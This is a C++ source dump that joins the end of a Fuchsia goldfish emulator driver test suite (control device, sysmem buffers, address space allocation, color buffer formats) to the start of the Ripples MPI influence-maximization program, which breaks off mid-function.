std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
.set_width(std::make_unique<uint32_t>(64))
.set_height(std::make_unique<uint32_t>(64))
.set_format(std::make_unique<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>(
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA))
// Without memory property
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_INVALID_ARGS);
EXPECT_LT(result.Unwrap()->hw_address_page_offset, 0);
}
}
// In this test case we test arguments of CreateBuffer2() method.
// If a mandatory field is missing, it should return "ZX_ERR_INVALID_ARGS".
TEST(GoldfishControlTests, GoldfishControlTest_CreateBuffer2Args) {
// Setup control device.
int control_device_fd = open("/dev/class/goldfish-control/000", O_RDWR);
EXPECT_GE(control_device_fd, 0);
zx::channel control_channel;
EXPECT_EQ(fdio_get_service_handle(control_device_fd, control_channel.reset_and_get_address()),
ZX_OK);
// ----------------------------------------------------------------------//
// Setup sysmem allocator and buffer collection.
zx::channel allocator_client;
zx::channel allocator_server;
EXPECT_EQ(zx::channel::create(0, &allocator_client, &allocator_server), ZX_OK);
EXPECT_EQ(fdio_service_connect("/svc/fuchsia.sysmem.Allocator", allocator_server.release()),
ZX_OK);
llcpp::fuchsia::sysmem::Allocator::SyncClient allocator(std::move(allocator_client));
zx::channel token_client;
zx::channel token_server;
EXPECT_EQ(zx::channel::create(0, &token_client, &token_server), ZX_OK);
EXPECT_TRUE(allocator.AllocateSharedCollection(std::move(token_server)).ok());
zx::channel collection_client;
zx::channel collection_server;
EXPECT_EQ(zx::channel::create(0, &collection_client, &collection_server), ZX_OK);
EXPECT_TRUE(
allocator.BindSharedCollection(std::move(token_client), std::move(collection_server)).ok());
// ----------------------------------------------------------------------//
// Use device local heap which only *registers* the koid of vmo to control
// device.
llcpp::fuchsia::sysmem::BufferCollectionConstraints constraints;
constraints.usage.vulkan = llcpp::fuchsia::sysmem::VULKAN_IMAGE_USAGE_TRANSFER_DST;
constraints.min_buffer_count_for_camping = 1;
constraints.has_buffer_memory_constraints = true;
constraints.buffer_memory_constraints = llcpp::fuchsia::sysmem::BufferMemoryConstraints{
.min_size_bytes = 4 * 1024,
.max_size_bytes = 4 * 1024,
.physically_contiguous_required = false,
.secure_required = false,
.ram_domain_supported = false,
.cpu_domain_supported = false,
.inaccessible_domain_supported = true,
.heap_permitted_count = 1,
.heap_permitted = {llcpp::fuchsia::sysmem::HeapType::GOLDFISH_DEVICE_LOCAL}};
llcpp::fuchsia::sysmem::BufferCollection::SyncClient collection(std::move(collection_client));
EXPECT_TRUE(collection.SetConstraints(true, std::move(constraints)).ok());
llcpp::fuchsia::sysmem::BufferCollectionInfo_2 info;
{
auto result = collection.WaitForBuffersAllocated();
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->status, ZX_OK);
info = std::move(result.Unwrap()->buffer_collection_info);
EXPECT_EQ(info.buffer_count, 1u);
EXPECT_TRUE(info.buffers[0].vmo.is_valid());
}
zx::vmo vmo = std::move(info.buffers[0].vmo);
EXPECT_TRUE(vmo.is_valid());
EXPECT_TRUE(collection.Close().ok());
// ----------------------------------------------------------------------//
// Try creating data buffers.
zx::vmo vmo_copy;
llcpp::fuchsia::hardware::goldfish::ControlDevice::SyncClient control(std::move(control_channel));
{
// Verify that a CreateBuffer2() call without width will fail.
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateBuffer2Params::Frame>())
// Without size
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
ASSERT_TRUE(result.value().result.is_err());
EXPECT_EQ(result.value().result.err(), ZX_ERR_INVALID_ARGS);
}
{
// Verify that a CreateBuffer2() call without memory property will fail.
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateBuffer2Params::Frame>())
.set_size(std::make_unique<uint64_t>(4096))
// Without memory property
.build();
auto result = control.CreateBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
ASSERT_TRUE(result.value().result.is_err());
EXPECT_EQ(result.value().result.err(), ZX_ERR_INVALID_ARGS);
}
}
// In this test case we call GetBufferHandle() on a vmo
// registered to the control device but we haven't created
// the color buffer yet.
//
// The FIDL interface should return ZX_ERR_NOT_FOUND.
TEST(GoldfishControlTests, GoldfishControlTest_GetNotCreatedColorBuffer) {
int fd = open("/dev/class/goldfish-control/000", O_RDWR);
EXPECT_GE(fd, 0);
zx::channel channel;
EXPECT_EQ(fdio_get_service_handle(fd, channel.reset_and_get_address()), ZX_OK);
zx::channel allocator_client;
zx::channel allocator_server;
EXPECT_EQ(zx::channel::create(0, &allocator_client, &allocator_server), ZX_OK);
EXPECT_EQ(fdio_service_connect("/svc/fuchsia.sysmem.Allocator", allocator_server.release()),
ZX_OK);
llcpp::fuchsia::sysmem::Allocator::SyncClient allocator(std::move(allocator_client));
zx::channel token_client;
zx::channel token_server;
EXPECT_EQ(zx::channel::create(0, &token_client, &token_server), ZX_OK);
EXPECT_TRUE(allocator.AllocateSharedCollection(std::move(token_server)).ok());
zx::channel collection_client;
zx::channel collection_server;
EXPECT_EQ(zx::channel::create(0, &collection_client, &collection_server), ZX_OK);
EXPECT_TRUE(
allocator.BindSharedCollection(std::move(token_client), std::move(collection_server)).ok());
llcpp::fuchsia::sysmem::BufferCollectionConstraints constraints;
constraints.usage.vulkan = llcpp::fuchsia::sysmem::VULKAN_IMAGE_USAGE_TRANSFER_DST;
constraints.min_buffer_count_for_camping = 1;
constraints.has_buffer_memory_constraints = true;
constraints.buffer_memory_constraints = llcpp::fuchsia::sysmem::BufferMemoryConstraints{
.min_size_bytes = 4 * 1024,
.max_size_bytes = 4 * 1024,
.physically_contiguous_required = false,
.secure_required = false,
.ram_domain_supported = false,
.cpu_domain_supported = false,
.inaccessible_domain_supported = true,
.heap_permitted_count = 1,
.heap_permitted = {llcpp::fuchsia::sysmem::HeapType::GOLDFISH_DEVICE_LOCAL}};
llcpp::fuchsia::sysmem::BufferCollection::SyncClient collection(std::move(collection_client));
EXPECT_TRUE(collection.SetConstraints(true, std::move(constraints)).ok());
llcpp::fuchsia::sysmem::BufferCollectionInfo_2 info;
{
auto result = collection.WaitForBuffersAllocated();
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->status, ZX_OK);
info = std::move(result.Unwrap()->buffer_collection_info);
EXPECT_EQ(info.buffer_count, 1u);
EXPECT_TRUE(info.buffers[0].vmo.is_valid());
}
zx::vmo vmo = std::move(info.buffers[0].vmo);
EXPECT_TRUE(vmo.is_valid());
EXPECT_TRUE(collection.Close().ok());
zx::vmo vmo_copy;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
llcpp::fuchsia::hardware::goldfish::ControlDevice::SyncClient control(std::move(channel));
{
auto result = control.GetBufferHandle(std::move(vmo_copy));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_NOT_FOUND);
}
}
TEST(GoldfishAddressSpaceTests, GoldfishAddressSpaceTest) {
int fd = open("/dev/class/goldfish-address-space/000", O_RDWR);
EXPECT_GE(fd, 0);
zx::channel parent_channel;
EXPECT_EQ(fdio_get_service_handle(fd, parent_channel.reset_and_get_address()), ZX_OK);
zx::channel child_channel;
zx::channel child_channel2;
EXPECT_EQ(zx::channel::create(0, &child_channel, &child_channel2), ZX_OK);
llcpp::fuchsia::hardware::goldfish::AddressSpaceDevice::SyncClient asd_parent(
std::move(parent_channel));
{
auto result = asd_parent.OpenChildDriver(
llcpp::fuchsia::hardware::goldfish::AddressSpaceChildDriverType::DEFAULT,
std::move(child_channel));
ASSERT_TRUE(result.ok());
}
constexpr uint64_t kHeapSize = 16ULL * 1048576ULL;
llcpp::fuchsia::hardware::goldfish::AddressSpaceChildDriver::SyncClient asd_child(
std::move(child_channel2));
uint64_t paddr = 0;
zx::vmo vmo;
{
auto result = asd_child.AllocateBlock(kHeapSize);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
paddr = result.Unwrap()->paddr;
EXPECT_NE(paddr, 0U);
vmo = std::move(result.Unwrap()->vmo);
EXPECT_EQ(vmo.is_valid(), true);
uint64_t actual_size = 0;
EXPECT_EQ(vmo.get_size(&actual_size), ZX_OK);
EXPECT_GE(actual_size, kHeapSize);
}
zx::vmo vmo2;
uint64_t paddr2 = 0;
{
auto result = asd_child.AllocateBlock(kHeapSize);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
paddr2 = result.Unwrap()->paddr;
EXPECT_NE(paddr2, 0U);
EXPECT_NE(paddr2, paddr);
vmo2 = std::move(result.Unwrap()->vmo);
EXPECT_EQ(vmo2.is_valid(), true);
uint64_t actual_size = 0;
EXPECT_EQ(vmo2.get_size(&actual_size), ZX_OK);
EXPECT_GE(actual_size, kHeapSize);
}
{
auto result = asd_child.DeallocateBlock(paddr);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
}
{
auto result = asd_child.DeallocateBlock(paddr2);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
}
// No testing into this too much, as it's going to be child driver-specific.
// Use fixed values for shared offset/size and ping metadata.
const uint64_t shared_offset = 4096;
const uint64_t shared_size = 4096;
const uint64_t overlap_offsets[] = {
4096,
0,
8191,
};
const uint64_t overlap_sizes[] = {
2048,
4097,
4096,
};
const size_t overlaps_to_test = sizeof(overlap_offsets) / sizeof(overlap_offsets[0]);
using llcpp::fuchsia::hardware::goldfish::AddressSpaceChildDriverPingMessage;
AddressSpaceChildDriverPingMessage msg;
msg.metadata = 0;
EXPECT_TRUE(asd_child.Ping(std::move(msg)).ok());
{
auto result = asd_child.ClaimSharedBlock(shared_offset, shared_size);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
}
// Test that overlapping blocks cannot be claimed in the same connection.
for (size_t i = 0; i < overlaps_to_test; ++i) {
auto result = asd_child.ClaimSharedBlock(overlap_offsets[i], overlap_sizes[i]);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_INVALID_ARGS);
}
{
auto result = asd_child.UnclaimSharedBlock(shared_offset);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
}
// Test that removed or unknown offsets cannot be unclaimed.
{
auto result = asd_child.UnclaimSharedBlock(shared_offset);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_INVALID_ARGS);
}
{
auto result = asd_child.UnclaimSharedBlock(0);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_INVALID_ARGS);
}
}
// This is a test case testing goldfish Heap, control device, address space
// device, and host implementation of host-visible memory allocation.
//
// This test case using a device-local Heap and a pre-allocated address space
// block to simulate a host-visible sysmem Heap. It does the following things:
//
// 1) It allocates a memory block (vmo = |address_space_vmo| and gpa =
// |physical_addr|) from address space device.
//
// 2) It allocates an vmo (vmo = |vmo|) from the goldfish device-local Heap
// so that |vmo| is registered for color buffer creation.
//
// 3) It calls goldfish Control FIDL API to create a color buffer using |vmo|.
// and maps memory to |physical_addr|.
//
// 4) The color buffer creation and memory process should work correctly, and
// heap offset should be a non-negative value.
//
TEST(GoldfishHostMemoryTests, GoldfishHostVisibleColorBuffer) {
// Setup control device.
int control_device_fd = open("/dev/class/goldfish-control/000", O_RDWR);
EXPECT_GE(control_device_fd, 0);
zx::channel control_channel;
EXPECT_EQ(fdio_get_service_handle(control_device_fd, control_channel.reset_and_get_address()),
ZX_OK);
// ----------------------------------------------------------------------//
// Setup sysmem allocator and buffer collection.
zx::channel allocator_client;
zx::channel allocator_server;
EXPECT_EQ(zx::channel::create(0, &allocator_client, &allocator_server), ZX_OK);
EXPECT_EQ(fdio_service_connect("/svc/fuchsia.sysmem.Allocator", allocator_server.release()),
ZX_OK);
llcpp::fuchsia::sysmem::Allocator::SyncClient allocator(std::move(allocator_client));
zx::channel token_client;
zx::channel token_server;
EXPECT_EQ(zx::channel::create(0, &token_client, &token_server), ZX_OK);
EXPECT_TRUE(allocator.AllocateSharedCollection(std::move(token_server)).ok());
zx::channel collection_client;
zx::channel collection_server;
EXPECT_EQ(zx::channel::create(0, &collection_client, &collection_server), ZX_OK);
EXPECT_TRUE(
allocator.BindSharedCollection(std::move(token_client), std::move(collection_server)).ok());
// ----------------------------------------------------------------------//
// Setup address space driver.
int address_space_fd = open("/dev/class/goldfish-address-space/000", O_RDWR);
EXPECT_GE(address_space_fd, 0);
zx::channel parent_channel;
EXPECT_EQ(fdio_get_service_handle(address_space_fd, parent_channel.reset_and_get_address()),
ZX_OK);
zx::channel child_channel;
zx::channel child_channel2;
EXPECT_EQ(zx::channel::create(0, &child_channel, &child_channel2), ZX_OK);
llcpp::fuchsia::hardware::goldfish::AddressSpaceDevice::SyncClient asd_parent(
std::move(parent_channel));
{
auto result = asd_parent.OpenChildDriver(
llcpp::fuchsia::hardware::goldfish::AddressSpaceChildDriverType::DEFAULT,
std::move(child_channel));
ASSERT_TRUE(result.ok());
}
// Allocate device memory block using address space device.
constexpr uint64_t kHeapSize = 32768ULL;
llcpp::fuchsia::hardware::goldfish::AddressSpaceChildDriver::SyncClient asd_child(
std::move(child_channel2));
uint64_t physical_addr = 0;
zx::vmo address_space_vmo;
{
auto result = asd_child.AllocateBlock(kHeapSize);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
physical_addr = result.Unwrap()->paddr;
EXPECT_NE(physical_addr, 0U);
address_space_vmo = std::move(result.Unwrap()->vmo);
EXPECT_EQ(address_space_vmo.is_valid(), true);
uint64_t actual_size = 0;
EXPECT_EQ(address_space_vmo.get_size(&actual_size), ZX_OK);
EXPECT_GE(actual_size, kHeapSize);
}
// ----------------------------------------------------------------------//
// Use device local heap which only *registers* the koid of vmo to control
// device.
llcpp::fuchsia::sysmem::BufferCollectionConstraints constraints;
constraints.usage.vulkan = llcpp::fuchsia::sysmem::VULKAN_IMAGE_USAGE_TRANSFER_DST;
constraints.min_buffer_count_for_camping = 1;
constraints.has_buffer_memory_constraints = true;
constraints.buffer_memory_constraints = llcpp::fuchsia::sysmem::BufferMemoryConstraints{
.min_size_bytes = 4 * 1024,
.max_size_bytes = 4 * 1024,
.physically_contiguous_required = false,
.secure_required = false,
.ram_domain_supported = false,
.cpu_domain_supported = false,
.inaccessible_domain_supported = true,
.heap_permitted_count = 1,
.heap_permitted = {llcpp::fuchsia::sysmem::HeapType::GOLDFISH_DEVICE_LOCAL}};
llcpp::fuchsia::sysmem::BufferCollection::SyncClient collection(std::move(collection_client));
EXPECT_TRUE(collection.SetConstraints(true, std::move(constraints)).ok());
llcpp::fuchsia::sysmem::BufferCollectionInfo_2 info;
{
auto result = collection.WaitForBuffersAllocated();
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->status, ZX_OK);
info = std::move(result.Unwrap()->buffer_collection_info);
EXPECT_EQ(info.buffer_count, 1U);
EXPECT_TRUE(info.buffers[0].vmo.is_valid());
}
zx::vmo vmo = std::move(info.buffers[0].vmo);
EXPECT_TRUE(vmo.is_valid());
EXPECT_TRUE(collection.Close().ok());
// ----------------------------------------------------------------------//
// Creates color buffer and map host memory.
zx::vmo vmo_copy;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
llcpp::fuchsia::hardware::goldfish::ControlDevice::SyncClient control(std::move(control_channel));
{
// Verify that a CreateColorBuffer2() call with host-visible memory property,
// but without physical address will fail.
auto create_info =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
.set_width(std::make_unique<uint32_t>(64))
.set_height(std::make_unique<uint32_t>(64))
.set_format(std::make_unique<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>(
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA))
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_HOST_VISIBLE))
// Without physical address
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy), std::move(create_info));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_INVALID_ARGS);
EXPECT_LT(result.Unwrap()->hw_address_page_offset, 0);
}
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
{
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
.set_width(std::make_unique<uint32_t>(64))
.set_height(std::make_unique<uint32_t>(64))
.set_format(std::make_unique<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>(
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA))
.set_memory_property(std::make_unique<uint32_t>(0x02u))
.set_physical_address(std::make_unique<uint64_t>(physical_addr))
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_GE(result.Unwrap()->hw_address_page_offset, 0);
}
// Verify if the color buffer works correctly.
zx::vmo vmo_copy2;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy2), ZX_OK);
{
auto result = control.GetBufferHandle(std::move(vmo_copy2));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_NE(result.Unwrap()->id, 0u);
EXPECT_EQ(result.Unwrap()->type,
llcpp::fuchsia::hardware::goldfish::BufferHandleType::COLOR_BUFFER);
}
// Cleanup.
{
auto result = asd_child.DeallocateBlock(physical_addr);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
}
}
using GoldfishCreateColorBufferTest =
testing::TestWithParam<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>;
TEST_P(GoldfishCreateColorBufferTest, CreateColorBufferWithFormat) {
int fd = open("/dev/class/goldfish-control/000", O_RDWR);
EXPECT_GE(fd, 0);
zx::channel channel;
EXPECT_EQ(fdio_get_service_handle(fd, channel.reset_and_get_address()), ZX_OK);
zx::channel allocator_client;
zx::channel allocator_server;
EXPECT_EQ(zx::channel::create(0, &allocator_client, &allocator_server), ZX_OK);
EXPECT_EQ(fdio_service_connect("/svc/fuchsia.sysmem.Allocator", allocator_server.release()),
ZX_OK);
llcpp::fuchsia::sysmem::Allocator::SyncClient allocator(std::move(allocator_client));
zx::channel token_client;
zx::channel token_server;
EXPECT_EQ(zx::channel::create(0, &token_client, &token_server), ZX_OK);
EXPECT_TRUE(allocator.AllocateSharedCollection(std::move(token_server)).ok());
zx::channel collection_client;
zx::channel collection_server;
EXPECT_EQ(zx::channel::create(0, &collection_client, &collection_server), ZX_OK);
EXPECT_TRUE(
allocator.BindSharedCollection(std::move(token_client), std::move(collection_server)).ok());
llcpp::fuchsia::sysmem::BufferCollectionConstraints constraints;
constraints.usage.vulkan = llcpp::fuchsia::sysmem::VULKAN_IMAGE_USAGE_TRANSFER_DST;
constraints.min_buffer_count_for_camping = 1;
constraints.has_buffer_memory_constraints = true;
constraints.buffer_memory_constraints = llcpp::fuchsia::sysmem::BufferMemoryConstraints{
.min_size_bytes = 4 * 1024,
.max_size_bytes = 4 * 1024,
.physically_contiguous_required = false,
.secure_required = false,
.ram_domain_supported = false,
.cpu_domain_supported = false,
.inaccessible_domain_supported = true,
.heap_permitted_count = 1,
.heap_permitted = {llcpp::fuchsia::sysmem::HeapType::GOLDFISH_DEVICE_LOCAL}};
llcpp::fuchsia::sysmem::BufferCollection::SyncClient collection(std::move(collection_client));
EXPECT_TRUE(collection.SetConstraints(true, std::move(constraints)).ok());
llcpp::fuchsia::sysmem::BufferCollectionInfo_2 info;
{
auto result = collection.WaitForBuffersAllocated();
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->status, ZX_OK);
info = std::move(result.Unwrap()->buffer_collection_info);
EXPECT_EQ(info.buffer_count, 1U);
EXPECT_TRUE(info.buffers[0].vmo.is_valid());
}
zx::vmo vmo = std::move(info.buffers[0].vmo);
EXPECT_TRUE(vmo.is_valid());
EXPECT_TRUE(collection.Close().ok());
zx::vmo vmo_copy;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
llcpp::fuchsia::hardware::goldfish::ControlDevice::SyncClient control(std::move(channel));
{
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
.set_width(std::make_unique<uint32_t>(64))
.set_height(std::make_unique<uint32_t>(64))
.set_format(std::make_unique<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>(
GetParam()))
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
}
zx::vmo vmo_copy2;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy2), ZX_OK);
{
auto result = control.GetBufferHandle(std::move(vmo_copy2));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_NE(result.Unwrap()->id, 0u);
EXPECT_EQ(result.Unwrap()->type,
llcpp::fuchsia::hardware::goldfish::BufferHandleType::COLOR_BUFFER);
}
}
INSTANTIATE_TEST_SUITE_P(
ColorBufferTests, GoldfishCreateColorBufferTest,
testing::Values(llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::RGBA,
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA,
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::RG,
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::LUMINANCE),
[](const testing::TestParamInfo<GoldfishCreateColorBufferTest::ParamType>& info)
-> std::string {
switch (info.param) {
case llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::RGBA:
return "RGBA";
case llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA:
return "BGRA";
case llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::RG:
return "RG";
case llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::LUMINANCE:
return "LUMINANCE";
}
});
int main(int argc, char** argv) {
if (access("/dev/sys/platform/acpi/goldfish", F_OK) != -1) {
testing::InitGoogleTest(&argc, argv);
return RUN_ALL_TESTS();
}
return 0;
}
| 55,763 | 20,556 |
//===------------------------------------------------------------*- C++ -*-===//
//
// Ripples: A C++ Library for Influence Maximization
// Marco Minutoli <marco.minutoli@pnnl.gov>
// Pacific Northwest National Laboratory
//
//===----------------------------------------------------------------------===//
//
// Copyright (c) 2019, Battelle Memorial Institute
//
// Battelle Memorial Institute (hereinafter Battelle) hereby grants permission
// to any person or entity lawfully obtaining a copy of this software and
// associated documentation files (hereinafter “the Software”) to redistribute
// and use the Software in source and binary forms, with or without
// modification. Such person or entity may use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and may permit
// others to do so, subject to the following conditions:
//
// 1. Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimers.
//
// 2. Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// 3. Other than as used herein, neither the name Battelle Memorial Institute or
// Battelle may be used in any form whatsoever without the express written
// consent of Battelle.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL BATTELLE OR CONTRIBUTORS BE LIABLE FOR ANY
// DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
// ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
//===----------------------------------------------------------------------===//
#include "mpi.h"
#include "omp.h"
#include <iostream>
#include "ripples/configuration.h"
#include "ripples/diffusion_simulation.h"
#include "ripples/graph.h"
#include "ripples/loaders.h"
#include "ripples/mpi/imm.h"
#include "ripples/utility.h"
#include "CLI/CLI.hpp"
#include "nlohmann/json.hpp"
#include "spdlog/fmt/ostr.h"
#include "spdlog/sinks/stdout_color_sinks.h"
#include "spdlog/spdlog.h"
namespace ripples {
template <typename SeedSet>
auto GetExperimentRecord(const ToolConfiguration<IMMConfiguration> &CFG,
const IMMExecutionRecord &R, const SeedSet &seeds) {
// Find out rank, size
int world_rank;
MPI_Comm_rank(MPI_COMM_WORLD, &world_rank);
int world_size;
MPI_Comm_size(MPI_COMM_WORLD, &world_size);
nlohmann::json experiment{
{"Algorithm", "MPI-IMM"},
{"Input", CFG.IFileName},
{"Output", CFG.OutputFile},
{"DiffusionModel", CFG.diffusionModel},
{"Epsilon", CFG.epsilon},
{"K", CFG.k},
{"L", 1},
{"Rank", world_rank},
{"WorldSize", world_size},
{"NumThreads", R.NumThreads},
{"NumWalkWorkers", CFG.streaming_workers},
{"NumGPUWalkWorkers", CFG.streaming_gpu_workers},
{"Total", R.Total},
{"ThetaPrimeDeltas", R.ThetaPrimeDeltas},
{"ThetaEstimation", R.ThetaEstimationTotal},
{"ThetaEstimationGenerateRRR", R.ThetaEstimationGenerateRRR},
{"ThetaEstimationMostInfluential", R.ThetaEstimationMostInfluential},
{"Theta", R.Theta},
{"GenerateRRRSets", R.GenerateRRRSets},
{"FindMostInfluentialSet", R.FindMostInfluentialSet},
{"Seeds", seeds}};
return experiment;
}
ToolConfiguration<ripples::IMMConfiguration> CFG;
void parse_command_line(int argc, char **argv) {
CFG.ParseCmdOptions(argc, argv);
#pragma omp single
CFG.streaming_workers = omp_get_max_threads();
if (CFG.seed_select_max_workers == 0)
CFG.seed_select_max_workers = CFG.streaming_workers;
if (CFG.seed_select_max_gpu_workers == std::numeric_limits<size_t>::max())
CFG.seed_select_max_gpu_workers = CFG.streaming_gpu_workers;
}
ToolConfiguration<ripples::IMMConfiguration> configuration() { return CFG; }
} // namespace ripples
int main(int argc, char *argv[]) {
MPI_Init(NULL, NULL);
spdlog::set_level(spdlog::level::info);
auto console = spdlog::stdout_color_st("console");
// process command line
ripples::parse_command_line(argc, argv);
auto CFG = ripples::configuration();
if (CFG.parallel) {
if (ripples::streaming_command_line(
CFG.worker_to_gpu, CFG.streaming_workers, CFG.streaming_gpu_workers,
CFG.gpu_mapping_string) != 0) {
console->error("invalid command line");
return -1;
}
}
trng::lcg64 weightGen;
weightGen.seed(0UL);
weightGen.split(2, 0);
using edge_type = ripples::WeightedDestination<uint32_t, float>;
using GraphFwd =
ripples::Graph<uint32_t, edge_type, ripples::ForwardDirection<uint32_t>>;
using GraphBwd =
ripples::Graph<uint32_t, edge_type, ripples::BackwardDirection<uint32_t>>;
console->info("Loading...");
GraphFwd Gf = ripples::loadGraph<GraphFwd>(CFG, weightGen);
GraphBwd G = Gf.get_transpose();
console->info("Loading Done!");
console->info("Number of Nodes : {}", G.num_nodes());
console->info("Number of Edges : {}", G.num_edges());
nlohmann::json executionLog;
std::vector<typename GraphBwd::vertex_type> seeds;
ripples::IMMExecutionRecord R;
trng::lcg64 generator;
generator.seed(0UL);
generator.split(2, 1);
ripples::mpi::split_generator(generator);
auto workers = CFG.streaming_workers;
auto gpu_workers = CFG.streaming_gpu_workers;
if (CFG.diffusionModel == "IC") {
ripples::StreamingRRRGenerator<
decltype(G), decltype(generator),
typename ripples::RRRsets<decltype(G)>::iterator,
ripples::independent_cascade_tag>
se(G, generator, R, workers - gpu_workers, gpu_workers,
CFG.worker_to_gpu);
auto start = std::chrono::high_resolution_clock::now();
seeds = ripples::mpi::IMM(
G, CFG, 1.0, se, R, ripples::independent_cascade_tag{},
ripples::mpi::MPI_Plus_X<ripples::mpi_omp_parallel_tag>{});
auto end = std::chrono::high_resolution_clock::now();
R.Total = end - start;
